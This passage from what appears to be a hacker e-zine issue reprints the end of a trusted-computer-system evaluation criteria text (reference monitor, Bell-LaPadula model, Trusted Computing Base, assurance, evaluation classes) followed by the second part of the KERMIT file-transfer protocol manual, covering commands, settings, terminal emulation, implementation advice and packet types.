- b. The reference validation mechanism must always be invoked.
-
- c. The reference validation mechanism must be small enough to be
- subject to analysis and tests, the completeness of which can
- be assured."[1]
-
- Extensive peer review and continuing research and development activities have
- sustained the validity of the Anderson Committee's findings. Early examples
- of the reference validation mechanism were known as security kernels. The
- Anderson Report described the security kernel as "that combination of hardware
- and software which implements the reference monitor concept."[1] In this vein,
- it will be noted that the security kernel must support the three reference
- monitor requirements listed above.
-
- 6.2 A Formal Security Policy Model
-
- Following the publication of the Anderson report, considerable research was
- initiated into formal models of security policy requirements and of the
- mechanisms that would implement and enforce those policy models as a security
- kernel. Prominent among these efforts was the ESD-sponsored development of
- the Bell and LaPadula model, an abstract formal treatment of DoD security
- policy.[2] Using mathematics and set theory, the model precisely defines the
- notion of secure state, fundamental modes of access, and the rules for
- granting subjects specific modes of access to objects. Finally, a theorem is
- proven to demonstrate that the rules are security-preserving operations, so
- that the application of any sequence of the rules to a system that is in a
- secure state will result in the system entering a new state that is also
- secure. This theorem is known as the Basic Security Theorem.
-
- The Bell and LaPadula model defines a relationship between clearances of
- subjects and classifications of system objects, now referenced as the
- "dominance relation." From this definition, accesses permitted between
- subjects and objects are explicitly defined for the fundamental modes of
- access, including read-only access, read/write access, and write-only access.
- The model defines the Simple Security Condition to control granting a subject
- read access to a specific object, and the *-Property (read "Star Property") to
- control granting a subject write access to a specific object. Both the Simple
- Security Condition and the *-Property include mandatory security provisions
- based on the dominance relation between the clearance of the subject and the
- classification of the object. The Discretionary Security Property is also
- defined, and requires that a specific subject be authorized for the particular
- mode of access required for the state transition. In its treatment of
- subjects (processes acting on behalf of a user), the model distinguishes
- between trusted subjects (i.e., not constrained within the model by the
- *-Property) and untrusted subjects (those that are constrained by the
- *-Property).
-
- >From the Bell and LaPadula model there evolved a model of the method of proof
- required to formally demonstrate that all arbitrary sequences of state
- transitions are security-preserving. It was also shown that the *- Property
- is sufficient to prevent the compromise of information by Trojan Horse
- attacks.
-
- 6.3 The Trusted Computing Base
-
- In order to encourage the widespread commercial availability of trusted
- computer systems, these evaluation criteria have been designed to address
- those systems in which a security kernel is specifically implemented as well
- as those in which a security kernel has not been implemented. The latter case
- includes those systems in which objective (c) is not fully supported because
- of the size or complexity of the reference validation mechanism. For
- convenience, these evaluation criteria use the term Trusted Computing Base to
- refer to the reference validation mechanism, be it a security kernel,
- front-end security filter, or the entire trusted computer system.
-
- The heart of a trusted computer system is the Trusted Computing Base (TCB)
- which contains all of the elements of the system responsible for supporting
- the security policy and supporting the isolation of objects (code and data) on
- which the protection is based. The bounds of the TCB equate to the "security
- perimeter" referenced in some computer security literature. In the interest
- of understandable and maintainable protection, a TCB should be as simple as
- possible consistent with the functions it has to perform. Thus, the TCB
- includes hardware, firmware, and software critical to protection and must be
- designed and implemented such that system elements excluded from it need not
- be trusted to maintain protection. Identification of the interface and
- elements of the TCB along with their correct functionality therefore forms the
- basis for evaluation.
-
- For general-purpose systems, the TCB will include key elements of the
- operating system and may include all of the operating system. For embedded
- systems, the security policy may deal with objects in a way that is meaningful
- at the application level rather than at the operating system level. Thus, the
- protection policy may be enforced in the application software rather than in
- the underlying operating system. The TCB will necessarily include all those
- portions of the operating system and application software essential to the
- support of the policy. Note that, as the amount of code in the TCB increases,
- it becomes harder to be confident that the TCB enforces the reference monitor
- requirements under all circumstances.
-
- 6.4 Assurance
-
- The third reference monitor design objective is currently interpreted as
- meaning that the TCB "must be of sufficiently simple organization and
- complexity to be subjected to analysis and tests, the completeness of which
- can be assured."
-
- Clearly, as the perceived degree of risk increases (e.g., the range of
- sensitivity of the system's protected data, along with the range of clearances
- held by the system's user population) for a particular system's operational
- application and environment, so also must the assurances be increased to
- substantiate the degree of trust that will be placed in the system. The
- hierarchy of requirements that are presented for the evaluation classes in the
- trusted computer system evaluation criteria reflect the need for these
- assurances.
-
- As discussed in Section 5.3, the evaluation criteria uniformly require a
- statement of the security policy that is enforced by each trusted computer
- system. In addition, it is required that a convincing argument be presented
- that explains why the TCB satisfies the first two design requirements for a
- reference monitor. It is not expected that this argument will be entirely
- formal. This argument is required for each candidate system in order to
- satisfy the assurance control objective.
-
- The systems to which security enforcement mechanisms have been added, rather
- than built-in as fundamental design objectives, are not readily amenable to
- extensive analysis since they lack the requisite conceptual simplicity of a
- security kernel. This is because their TCB extends to cover much of the
- entire system. Hence, their degree of trustworthiness can best be ascertained
- only by obtaining test results. Since no test procedure for something as
- complex as a computer system can be truly exhaustive, there is always the
- possibility that a subsequent penetration attempt could succeed. It is for
- this reason that such systems must fall into the lower evaluation classes.
-
- On the other hand, those systems that are designed and engineered to support
- the TCB concepts are more amenable to analysis and structured testing. Formal
- methods can be used to analyze the correctness of their reference validation
- mechanisms in enforcing the system's security policy. Other methods,
- including less-formal arguments, can be used in order to substantiate claims
- for the completeness of their access mediation and their degree of
- tamper-resistance. More confidence can be placed in the results of this
- analysis and in the thoroughness of the structured testing than can be placed
- in the results for less methodically structured systems. For these reasons,
- it appears reasonable to conclude that these systems could be used in
- higher-risk environments. Successful implementations of such systems would be
- placed in the higher evaluation classes.
-
- 6.5 The Classes
-
- It is highly desirable that there be only a small number of overall evaluation
- classes. Three major divisions have been identified in the evaluation
- criteria with a fourth division reserved for those systems that have been
- evaluated and found to offer unacceptable security protection. Within each
- major evaluation division, it was found that "intermediate" classes of trusted
- system design and development could meaningfully be defined. These
- intermediate classes have been designated in the criteria because they
- identify systems that:
-
- * are viewed to offer significantly better protection and assurance
- than would systems that satisfy the basic requirements for their
- evaluation class; and
-
- * there is reason to believe that systems in the intermediate
- evaluation classes could eventually be evolved such that they
- would satisfy the requirements for the next higher evaluation
- class.
-
- Except within division A it is not anticipated that additional "intermediate"
- evaluation classes satisfying the two characteristics described above will be
- identified.
- Distinctions in terms of system architecture, security policy enforcement, and
- evidence of credibility between evaluation classes have been defined such that
- the "jump" between evaluation classes would require a considerable investment
- of effort on the part of implementors. Correspondingly, there are expected to
- be significant differentials of risk to which systems from the higher
- evaluation classes will be exposed.
-
-
- 7.0 THE RELATIONSHIP BETWEEN POLICY AND THE CRITERIA
-
- Section 1 presents fundamental computer security requirements and Section 5
- presents the control objectives for Trusted Computer Systems. They are
- general requirements, useful and necessary, for the development of all secure
- systems. However, when designing systems that will be used to process
- classified or other sensitive information, functional requirements for meeting
- the Control Objectives become more specific. There is a large body of policy
- laid down in the form of Regulations, Directives, Presidential Executive
- Orders, and OMB Circulars that form the basis of the procedures for the
- handling and processing of Federal information in general and classified
- information specifically. This section presents pertinent excerpts from these
- policy statements and discusses their relationship to the Control Objectives.
-
- =============================================================================
-
- / /
- / File 03 / NIA070 /
- / KERMIT Protocol Manual 02 of 02 /
- / Malefactor Of Organized Crime /
- / Dedicated To: The Mentor /
- / /
-
- [Editor's Note: For part 01 check in NIA069, and also there for the copyrights
- and so-on.]
-
- 9.5. Commands Whose Object Should Be Specified
-
- Some Kermit implementations include various local file management services and
- commands to invoke them. For instance, an implementation might have commands
- to let you get directory listings, delete files, switch disks, and inquire
- about free disk space without having to exit and restart the program. In ad-
- dition, remote servers may also provide such services. A user Kermit must be
- able to distinguish between commands aimed at its own system and those aimed at
- the remote one. When any confusion is possible, such a command may be prefixed
- by one of the following "object prefixes":
-
- REMOTE Ask the remote Kermit server to provide this service.
-
- LOCAL Perform the service locally.
-
- If the "object prefix" is omitted, the command should be executed locally. The
- services include:
- KERMIT Commands Page 50
-
-
- LOGIN This should be used in its timesharing sense, to create an identity
- ("job", "session", "access", "account") on the system.
-
- LOGOUT To terminate a session that was initiated by LOGIN.
-
- COPY Make a new copy of the specified file with the specified name.
-
- CWD Change Working Directory. This is ugly, but more natural verbs like
- CONNECT and ATTACH are too imprecise. CWD is the ARPAnet file transfer
- standard command to invoke this function.
-
- DIRECTORY
- Provide a list of the names, and possibly other attributes, of the
- files in the current working directory (or the specified directory).
-
- DELETE Delete the specified files.
-
- ERASE This could be a synomym for DELETE, since its meaning is clear.
-
- (It doesn't seem wise to include UNDELETE or UNERASE in the
- standard list; most systems don't support such a function, and
- users' expectations should not be toyed with...)
-
- KERMIT Send a command to the remote KERMIT server in its own interactive com-
- mand syntax.
-
- RENAME Change the name of the specified file.
-
- TYPE Display the contents of the specified file(s) at the terminal.
-
- SPACE Tell how much space is used and available for storing files in the cur-
- rent working directory (or the specified directory).
-
- SUBMIT Submit the specified file(s) for background (batch) processing.
-
- PRINT Print the specified file(s) on a printer.
-
- MOUNT Request a mount of the specified tape, disk, or other removable storage
- medium.
-
- WHO Show who is logged in (e.g. to a timesharing system), or give infor-
- mation about a specified user or network host.
-
- MAIL Send electronic mail to the specified user(s).
-
- MESSAGE Send a terminal message (on a network or timesharing system).
-
- HELP Give brief information about how to use KERMIT.
-
- SET Set various parameters relating to debugging, transmission, file mode,
- and so forth.
-
- SHOW Display settings of SET parameters, capabilities in force, etc.
-
- STATISTICS
- Give information about the performance of the most recent file transfer
- KERMIT Commands Page 51
-
-
- -- elapsed time, effective baud rate, various counts, etc.
-
- HOST Pass the given command string to the specified (i.e. remote or local)
- host for execution in its own command language.
-
- LOGGING Open or close a remote transaction or debugging log.
-
-
- 9.6. The SET Command
-
- A SET command should be provided to allow the user to tailor a connection to
- the peculiarities of the communication path, the local or remote file system,
- etc. Here are some parameters that should be SET-able:
-
- BLOCK-CHECK
- Specify the type of block check to be used: single character checksum,
- two-character checksum, 3-character CRC.
-
- DEBUGGING
- Display or log the packet traffic, packet numbers, and/or program
- states. Useful for debugging new versions of KERMIT, novel combina-
- tions of KERMIT programs, etc.
-
- DELAY How many seconds a remote (non-server) KERMIT should wait before send-
- ing the Send-Init packet, to give the user time to escape back to the
- local KERMIT and type a RECEIVE command.
-
- DUPLEX For terminal emulation, specify FULL or HALF duplex echoing.
-
- EIGHT-BIT-PREFIXING
- Specify that "8th bit" prefixing must be done; normally it will not be
- done.
-
- END-OF-LINE
- Specify any line terminator that must be used after a packet.
-
- ESCAPE Specify the escape character for terminal emulation.
-
- FILE attributes
- Almost any of the attributes listed above in the Attributes section
- (8.5). The most common need is to tell the KERMIT program whether an
- incoming or outbound file is text or binary.
-
- FLOW-CONTROL
- Specify the flow control mechanism for the line, such as XON/XOFF,
- DTR/CTS, etc. Allow flow control to be turned off as well as on. Flow
- control is done only on full-duplex connections.
-
- HANDSHAKE
- Specify any line-access negotiation that must be used or simulated
- during file transfer. For instance, a half duplex system will often
- need to "turn the line around" after sending a packet, in order to give
- you permission to reply. A common handshake is XON (?Q); the current
- user of the line transmits an XON when done transmitting data.
-
- LINE Specify the line or device designator for the connection. This is for
- KERMIT Commands Page 52
-
-
- use in a KERMIT program that can run in either remote or local mode;
- the default line is the controlling terminal (for remote operation).
- If an external device is used, local operation is presumed.
-
- LOG Specify a local file in which to keep a log of the transaction. There
- may be logs for debugging purposes (packet traffic, state transitions,
- etc) and for auditing purposes (to record the name and disposition of
- each file transferred).
-
- MARKER Change the start-of-packet marker from the default of SOH (CTRL-A) to
- some other control character, in case one or both systems has problems
- using CTRL-A for this purpose.
-
- PACKET-LENGTH
- The maximum length for a packet. This should normally be no less than
- 30 or 40, and can never be greater than 96. Short packets can be an
- advantage on noisy lines; they reduce the probabily of a particular
- packet being corrupted, as well as the retransmission overhead when
- corruption does occur.
-
- PADDING The number of padding characters that should be sent before each
- packet, and what the padding character should be. Rarely necessary.
-
- PARITY Specify the parity (ODD, EVEN, MARK, SPACE, NONE) of the physical con-
- nection. If other than none, the "8th bit" cannot be used to transmit
- data and must not be used by either side in block check computation.
-
- PAUSE How many seconds to pause after receiving a packet before sending the
- next packet. Normally 0, but when a system communication processor or
- front end has trouble keeping up with the traffic, a short pause be-
- tween packets may allow it to recover its wits; hopefully, something
- under a second will suffice.
-
- PREFIX Change the default prefix for control characters, 8-bit characters, or
- repeated quantities.
-
- PROMPT Change the program's prompt. This is useful when running KERMIT be-
- tween two systems whose prompt is the same, to eliminate confusion
- about which KERMIT you are talking to.
-
- REPEAT-COUNT-PROCESSING
- Change the default for repeat count processing. Normally, it will be
- done if both KERMIT programs agree to do it.
-
- RETRY The maximum number of times to attempt to send or receive a packet be-
- fore giving up. The normal number is about 5, but the user should be
- able to adjust it according to the condition of the line, the load on
- the systems, etc.
-
- TIMEOUT Specify the length of the timer to set when waiting for a packet to ar-
- rive.
- KERMIT Commands Page 53
-
-
- 9.7. Macros, the DEFINE Command
-
- In addition to the individual set commands, a "macro" facility is recommended
- to allow users to combine the characteristics of specific systems into a single
- SET option. For example:
-
- DEFINE IBM = PARITY ODD, DUPLEX HALF, HANDSHAKE XON
- DEFINE UNIX = PARITY NONE, DUPLEX FULL
- DEFINE TELENET = PARITY MARK
-
- This could be done by providing a fancy runtime parser for commands like this
- (which could be automatically TAKEn from the user's KERMIT initialization file
- upon program startup), or simply hardwired into the SET command table.
-
- With these definitions in place, the user would simply type "SET IBM", "SET
- UNIX", and so forth, to set up the program to communication to the remote sys-
- tem.
- Terminal Emulation Page 54
-
-
- 10. Terminal Emulation
-
- The local system must be able to act as a terminal so that the user can connect
- to the remote system, log in, and start up the remote KERMIT.
-
- Terminal emulation should be provided by any KERMIT program that runs locally,
- so that the user need not exit and restart the local KERMIT program in order to
- switch between terminal and protocol operation. On smaller systems, this is
- particularly important for various reasons -- restarting the program and typing
- in all the necessary SET commands is too inconvenient and time-consuming; in
- some micros, switching in and out of terminal emulation may cause carrier to
- drop, etc.
-
- Only bare-bones terminal emulation need be supplied by KERMIT; there is no need
- to emulate any particular kind of "smart" terminal. Simple "dumb" terminal
- emulation is sufficient to do the job. Emulation of fancier terminals is nice
- to have, however, to take advantage of the remote system's editing and display
- capabilities. In some cases, microcomputer firmware will take care of this.
- To build emulation for a particular type of terminal into the program, you must
- interpret and act upon escape sequences as they arrive at the port.
-
- No error checking is done during terminal emulation. It is "outside the
- protocol"; characters go back and forth "bare". In this sense, terminal emula-
- tion through KERMIT is no better than actually using a real terminal.
-
- Some KERMIT implementations may allow logging of the terminal emulation session
- to a local file. Such a facility allows "capture" of remote typescripts and
- files, again with no error checking or correction. When this facility is
- provided, it is also desirable to have a convenient way of "toggling" the log-
- ging on and off.
-
- If the local system does not provide system- or firmware-level flow control,
- like XON/XOFF, the terminal emulation program should attempt to simulate it,
- especially if logging is being done.
-
- The terminal emulation facility should be able to handle either remote or local
- echoing (full or half duplex), any required handshake, and it should be able to
- transmit any parity required by the remote side or the communication medium.
-
- A terminal emulator works by continuously sampling both console input from the
- local terminal and input from the communication line. Simple input and output
- functions will not suffice, however, since if you ask for input from a certain
- device and there is none available, you will generally block until input does
- become available, during which time you will be missing input from the other
- device. Thus you must have a way to bounce back and forth regardless of
- whether input is available. Several mechanisms are commonly used:
-
- - Continuously jump back and forth between the port status register and
- the console status register, checking the status bits for input
- available. This is only practical on single-user, single-process
- systems, where the CPU has nothing else to do.
-
- - Issue an ordinary blocking input request for the port, but enable in-
- terrupts on console input, or vice versa.
-
- - Handle port input in one process and console input in another, paral-
- Terminal Emulation Page 55
-
-
- lel process. The UNIX KERMIT program listed in this manual uses this
- method.
-
- Any input at the port should be displayed immediately on the screen. Any input
- from the console should be output immediately to the port. In addition, if the
- connection is half duplex, console input should also be sent immediately to the
- screen.
-
- The terminal emulation code must examine each console character to determine
- whether it is the "escape character". If so, it should take the next character
- as a special command, which it executes. These commands are described above,
- in section 9.3.
-
- The terminal emulator should be able to send every ASCII character, NUL through
- DEL, and it should also be able to transmit a BREAK signal (BREAK is not a
- character, but an "escape" from ASCII transmission in which a 0 is put on the
- line for about a quarter of a second, regardless of the baud rate, with no
- framing bits). BREAK is important when communicating with various systems,
- such as IBM mainframes.
-
- Finally, it is sometimes necessary to perform certain transformations on the CR
- character that is normally typed to end a line of input. Some systems use LF,
- EOT, or other characters for this function. To complicate matters, intervening
- communications equipment (particularly the public packet-switched networks) may
- have their own independent requirements. Thus if using KERMIT to communicate
- over, say, TRANSPAC with a system that uses LF for end-of-line, it may be
- necessary to transform CR into LFCR (linefeed first -- the CR tells the network
- to send the packet, which will contain the LF, and the host uses the LF for
- termination). The user should be provided with a mechanism for specifying this
- transformation, a command like "SET CR sequence".
- Writing a KERMIT Program Page 56
-
-
- 11. Writing a KERMIT Program
-
- Before writing a new implementation of KERMIT or modifying an old one, first be
- sure to contact the KERMIT Distribution center at Columbia University to make
- sure that you're not duplicating someone else's effort, and that you have all
- the latest material to work from. If you do write or significantly modify (or
- document) a KERMIT program, please send it back to Columbia so that it can be
- included in the standard KERMIT distribution and others can benifit from it.
- It is only through this kind of sharing that KERMIT has grown from its modest
- beginnings to its present scale.
-
- The following sections provide some hints on KERMIT programming.
-
-
- 11.1. Program Organization
-
- A basic KERMIT implementation can usually be written as a relatively small
- program, self-contained in a single source file. However, it is often the case
- that a program written to run on one system will be adapted to run on other
- systems as well. In that case, it is best to avoid having totally divergent
- sources, because when new features are added to (or bugs fixed in) the system-
- independent parts of the program -- i.e. to the protocol itself -- only one im-
- plementation will reap the benefits initially, and the other will require pain-
- ful, error-prone "retrofitting" to bring it up to the same level.
-
- Thus, if there is any chance that a KERMIT program will run on more than one
- machine, or under more than one operating system, or support more than one kind
- of port or modem, etc, it is desirable to isolate the system-dependent parts in
- a way that makes the common parts usable by the various implementations. There
- are several approaches:
-
- 1. Runtime support. If possible, the program can inspect the hardware
- or inquire of the system about relevant parameters, and configure
- itself dynamically at startup time. This is hardly ever possible.
-
- 2. Conditional compilation (or assembly). If the number of systems or
- options to be supported is small, the system dependent code can be
- enclosed in conditional compilation brackets (like IF IBMPC ....
- ENDIF). An example is provided in UNIX KERMIT listing included with
- this manual. However, as the number of system dependencies to be
- supported grows, this method becomes unwieldy and error-prone
- -- installing support for system X tends to break the pre-existing
- support for system Y.
-
- 3. Modular composition. When there is a potentially large number of
- options a program should support, it should be broken up into
- separate modules (source files), with clearly specified, simple
- calling conventions. This allows people with new options to provide
- their own support for them in an easy way, without endangering any
- existing support. Suggested modules for a KERMIT program are:
-
- - System-Indendent protocol handling: state switching, packet
- formation, encoding (prefixing) and decoding, etc.
-
- - User Interface: the command parser. Putting this in a separate
- module allows plug-in of command parsers to suit the user's
- Writing a KERMIT Program Page 57
-
-
- taste, to mimic the style of the host system command parser or
- some popular application, etc.
-
- - Screen i/o: This module would contain the screen control codes,
- cursor positioning routines, etc.
-
- - Port i/o: Allows support of various port hardware. This module
- can define the port status register location, the status bits,
- and so forth, and can implement the functions to read and write
- characters at the port.
-
- - Modem control: This module would support any kind of
- "intelligent" modem, which is not simply a transparent exten-
- sion of the communications port. Such modems may accept spe-
- cial commands to perform functions like dialing out, redialing
- a recent number, hanging up, etc., and may need special in-
- itialization (for instance, setting modem signals like DTR).
-
- - Console input: This module would supply the function to get
- characters from the console; it would know about the status
- register locations and bits, interrupt structure, key-to-
- character mappings, etc., and could also implement key
- redefinitions, keystroke macros, programmable function keys,
- expanded control and meta functions, etc.
-
- - Terminal Emulation: This module would interpret escape se-
- quences in the incoming character stream (obtained from the
- port i/o module) for the particular type of terminal being emu-
- lated and interpret them by making appropriate calls the the
- screen i/o module, and it would send user typein (obtained from
- the console input module) out the serial port (again using the
- port i/o module). Ideally, this module could be replacable by
- other modules to emulate different kinds of terminals (e.g.
- ANSI, VT52, ADM3A, etc).
-
- - File i/o: This module contains all the knowledge about the host
- system's file structure; how to open and close files, perform
- "get next file" operations, read and write files, determine and
- set their attributes, detect the end of a file, and so forth,
- and provides the functions, including buffering, to get a
- character from a file and put a character to a file. This
- module may also provide file management services for local
- files -- directory listings, deleting, renaming, copying, and
- so forth.
-
- - Definitions and Data: Separate modules might also be kept for
- compile-time parameter definitions and for global runtime data.
- Writing a KERMIT Program Page 58
-
-
- 11.2. Programming Language
-
- The language to be used in writing a KERMIT program is more than a matter of
- taste. The primary consideration is that the language provide the necessary
- functionality and speed. For instance, a microcomputer implementation of BASIC
- may not allow the kind of low-level access to device registers needed to do
- terminal emulation, or to detect console input during file transfer, or even if
- it can do these things, it might not be able to run fast enough do drive the
- communication line at the desired baud rate.
-
- The second consideration in choosing a language is portability. This is used
- in two senses: (1) whether the language is in the public domain (or, equiv-
- alently, provided "free" as part of the basic system), and (2) whether it is
- well standardized and in wide use on a variety of systems. A language that is
- portable in both senses is to be preferred.
-
- Whatever programming language is selected, it is important that all lines in
- the program source be kept to 80 characters or less (after expansion of tabs).
- This is because KERMIT material must often be shipped over RJE and other card-
- format communication links.
-
- In addition, it is important that the names of all files used in creating and
- supporting a particular KERMIT implementation be (possibly a subset) of the
- form NAME.TYPE, where NAME is limited to six characters, and TYPE is limited to
- three, and where the NAME of each file begin with a common 2 or 3 character
- prefix. This is so that all related files will be grouped together in an al-
- phabetic directory listing, and so when all of the hundreds of KERMIT related
- files are placed together on a tape, all names will be both legal and unique,
- especially on systems (like PDP-11 operating systems) with restrictive file
- naming conventions.
-
-
- 11.3. Documentation
-
- A new KERMIT program should be thoroughly documented; one of the hallmarks of
- KERMIT is its documentation. The documentation should be at both the user
- level (how to use the program, what the commands are, etc, similar to the
- documentation presently found in the Kermit Users Guide), and the implemen-
- tation level (describe system dependencies, give pointers for adapting to new
- systems, and so forth). In addition, programs themselves should contain
- copious commentary. Like program source, documentation should be kept within
- 80-character lines.
-
- If possible, a section for the implementation should be written for the KERMIT
- User Guide using the UNILOGIC Scribe formatting language (subsets of which are
- also to be found in some microcomputer text processing software such as Perfect
- Writer or Final Word), using the same general conventions as the existic
- Scribe-format implementation sections.
-
- KERMIT programs should also contain a revision history, in which each change is
- briefly explained, assigned an "edit number", and the programmer and site are
- identified. The lines or sections comprising the edit should be marked with
- the corresponding edit number, and the KERMIT program, upon startup, should an-
- nounce its version and edit numbers, so that when users complain of problems we
- will know what version of the program is in question.
- Writing a KERMIT Program Page 59
-
- The version number changes when the functionality has been changed sufficiently
- to require major revisions of user documentation. The edit number should in-
- crease (monotonically, irrespective of version number) whenever a change is
- made to the program. The edit numbers are very important for program manage-
- ment; after shipping out a version of, say, CP/M KERMIT-80, we often receive
- many copies of it, each containing its own set of changes, which we must recon-
- cile in some manner. Edit numbers help a great deal here.
-
-
- 11.4. Bootstrapping
-
- Finally, a bootstrap procedure should be provided. KERMIT is generally dis-
- tributed on magnetic tape to large central sites; the users at those sites need
- ways of "downloading" the various implementations to their micros and other
- local systems. A simple bootstrap procedure would consist of precise instruc-
- tions on how to accomplish an "unguarded" capture of the program. Perhaps a
- simple, short program can be written for each each end that will do the job;
- listings and instructions can be provided for the user to type in and run these
- programs.
- Packet Format and Types Page 60
-
-
- I. Packet Format and Types
-
- KERMIT Packet Layout:
-
- +------+-----+-----+------+------------+-------+
- | MARK | LEN | SEQ | TYPE | DATA | CHECK |
- +------+-----+-----+------+------------+-------+
-
- Send-Init Data Field Layout:
-
- 1 2 3 4 5 6 7 8 9 10...
- +------+------+------+------+------+------+------+------+------+-------
- | MAXL | TIME | NPAD | PADC | EOL | QCTL | QBIN | CHKT | REPT | CAPAS
- +------+------+------+------+------+------+------+------+------+-------
-
- KERMIT packet types and subtypes; required types are marked with an asterisk
- (*):
-
- Y* Acknowledge (ACK)
- N* Negative acknowledge (NAK)
- S* Send initiate (exchange parameters)
- I Initialize (exchange parameters)
- F* File header
- A File attributes
- D* Data packet
- Z* End of file (EOF)
- B* Break transmission (EOT)
- E* Error
- R Receive Initiate (ask the server to send the specified files)
- C Host Command
- K KERMIT Command
- T Reserved for internal use
- G Generic Kermit Command; Subcommands:
-
- I Login (or logout)
- C CWD, Change Working Directory
- L Bye
- F Finish
- D Directory
- U Disk Usage Query
- E Erase, Delete
- T Type
- R Rename
- K Copy
- W Who's logged in?
- M Short Message
- H Help
- Q Server Status Query
- P Program Invocation
- J Journal Control
- V Variable Set/Query
- List of Features Page 61
-
-
- II. List of Features
-
- There's no true linear scale along which to rate Kermit implementations. A
- basic, minimal implementation provides file transfer in both directions, and,
- for microcomputers (PC's, workstations, other single user systems), terminal
- emulation. Even within this framework, there can be variations. For instance,
- can the program send a file group in a single command, or must a command be
- issued for each file? Can it time out? Here is a list of features that may be
- present; for any KERMIT implementation, the documentation should show whether
- these features exist, and how to invoke them.
-
- - File groups. Can it send a group of files with a single command,
- using "wildcard", pattern, or list notation? Can it successfully
- send or receive a group of files of mixed types? Can it recover from
- an error on a particular file and go on to the next one? Can it keep
- a log of the files involved showing the disposition of each?
-
- - Filenames. Can it take action to avoid overwriting a local file when
- a new file of the same name arrives? Can it convert filenames to and
- from legal or "normal form"?
-
- - File types. Can binary as well as text files be transmitted?
-
- - 8th-Bit prefixing. Can it send and receive 8-bit data through a
- 7-bit channel using the prefixing mechanism?
-
- - Repeat-Count processing. Can it send and receive data with repeated
- characters replaced by a prefix sequence?
-
- - Terminal Emulation. Does it have a terminal emulation facility?
- Does it provide various communication options, such as duplex,
- parity, and handshake selection? Can it transmit all ASCII charac-
- ters? Can it transmit BREAK? Can it log the remote session locally,
- to provide unguarded file capture?
-
- - Communications Options. Can duplex, parity, handshake, and line ter-
- minator be specified for file transfer?
-
- - Block Check Options. In addition to the basic single-character
- checksum, can the two-character checksum and the three-character CRC
- be selected?
-
- - Basic Server. Can it run in server mode, accepting commands to send
- or receive files, and to shut itself down?
-
- - Advanced Server. Can it accept server commands to delete files,
- provide directory listings, send messages, and forth?
-
- - Issue Commands to Server. Can it send commands to a server, and
- handle all possible responses?
-
- - Host Commands. Can it parse and send remote "host commands"? If it
- is a server, can it pass these commands to the host system command
- processor and return the results to the local user Kermit?
-
- - Interrupt File Transfers. Can it interrupt sending or receiving a
- List of Features Page 62
-
-
- file? Can it respond to interrupt requests from the other side?
-
- - Local File Management Services. Are there commands to get local
- directory directory listings, delete local files, and so forth?
-
- - File Attributes. Can it send file attribute information about local
- files, and can deal with incoming file attribute information? Can
- alternate dispositions be specified. Can files be archived?
-
- - Debugging Capability. Can packet traffic be logged, examined,
- single-stepped?
- Unresolved Issues Page 63
-
-
- III. Unresolved Issues
-
- KERMIT doesn't do everything. Here is a short list of things it doesn't do, or
- could do better.
-
- - KERMIT cannot be used through IBM 3270 protocol emulators. These are
- devices that allow asynchronous ASCII terminals or PCs to communicate
- with IBM mainframes as though they were synchronous full-screen dis-
- plays. The problems include: (a) the protocol converter translates
- from EBCDIC to ASCII -- that is, it assumes it is receiving EBCDIC
- when KERMIT is supposed to be sending ASCII -- according to its own
- translate table, which may vary from site to site, and is not a
- 1-to-1 mapping in any case; (b) non-printing control characters (like
- SOH) cannot be sent at all; (c) the protocol converter looks for 3270
- formatting commands and translates them to escape sequences for the
- ASCII terminal, possibly modifying packet data; (d) the IBM system
- automatically pauses at the end of each screenful; (e) the protocol
- converter thinks it knows what is "on the screen" and may attempt to
- optimize. In general, one never knows exactly how a particular
- protocol converter will work, or how it may differ from another one.
- Still, it may be possible to work around these problems if the Ker-
- mits on either end are put into a special "3270 mode", "clear the
- screen" between each packet, and agree on some special convention for
- packet delimitation and data translation.
-
- - Control character prefixing. This can get pretty expensive for bi-
- nary files or other files that contain lots of control characters.
- Since most hosts won't choke on every single control character, it
- might be a good idea for each host to inform the other of what con-
- trol characters it can receive "bare". On the other hand, this could
- backfire when the two hosts are connected by a network or device that
- chokes on control characters that neither of the hosts choke on. For
- hardwired connections with no unknown factors, however, many control
- characters could be sent "bare".
-
- - When long sequences of characters in the control range are being
- sent, individually prefixing each character is costly. Shift-in/
- shift-out codes might be used more effectively here. Same for long
- strings of characters with the parity bit on, when 8th-bit prefixing
- is being done. The cost would be yet another set of prefix charac-
- ters, and the associated complexity of packet formation and decoding.
-
- - In some situations, certain printable characters can't get through a
- communication link. For instance, a network terminal server might
- reserve "@" as its attention character. Should the protocol allow
- some way to encode such characters for translation? A set of user-
- definable escape sequences could be useful here.
-
- - Ironically, some systems do not fare well with KERMIT's small packet
- sizes. These are typically big mainframes that expect to communicate
- with block mode terminals, receiving thousands of characters at a
- time. Such systems find that KERMIT is simply too expensive to run.
- Meanwhile, other systems that can run KERMIT with no difficulty find
- the performance disappointing (the efficiency generally works out
- somewhere between 50 and 80 percent, i.e. data characters divided by
- the speed of the the transmission line, in characters per second).
- Unresolved Issues Page 64
-
-
- These two problems could be solved in either of two ways: allow
- longer packets, or allow multiple data packets to be sent end to end.
-
- * Without changing the format or encoding of the packet control
- fields, it might be possible to have longer packets by reserving
- packet lengths of 0, 1, 2, 3 to be codes for bigger numbers like
- 200, 500, 1000, 2000. However, the longer the packet, the
- greater the probability of corruption, and the longer to
- retransmit once corrupted. In addition, the adequacy of the
- single-character block check would be much reduced for long
- packets; long packets should therefore be sent with type 2 or 3
- block checks.
-
- * It would be possible to extend the protocol to allow transmis-
- sion of data packets while ACKs were still outstanding, and any
- ACK would be taken as an ACK for the specified packet and all
- previous ones. A limit on the number of outstanding ACKs could
- be agreed upon; the maximum size of this "floating window" would
- have to be less than 64, which is where KERMIT packet numbers
- wrap around, and the window could not extend over a wraparound
- or else KERMIT would have no way of knowing whether n times 64
- packets had been skipped. A floating window of 8 and a packet
- size of 95 would give about the same effect as 700-character
- packets. A NAK would require the sender to back up all the way
- to the NAK'd packet. A future edition of the Protocol Manual
- might include a specification for floating windows.
- A KERMIT Program Page 65
-
-
- IV. A KERMIT Program
-
- What follows is a listing of a real production version of KERMIT, written in
- 4
- the C language . It is designed to run under various versions of the UNIX
- operating system. The basic KERMIT functionality is present, but very little
- in the way of optional features. Only the most rudimentary (UNIX-style) com-
- mand parser is provided. The program illustrates many of the considerations
- described in this manual, with respect to the protocol, the program design, and
- so forth.
-
- It must be emphasized that this is a bare minimum implementation of Kermit.
- Anyone writing a new Kermit from scratch is encouraged to look at the source
- for one of the more advanced implementations as a model (check the Kermit Users
- Guide for a list of KERMIT implementations and their features). Although you
- may not understand the language it's written in, there should be profuse com-
- ments that can be useful.
-
- The following program uses decimal notation for numbers, and tochar() rather
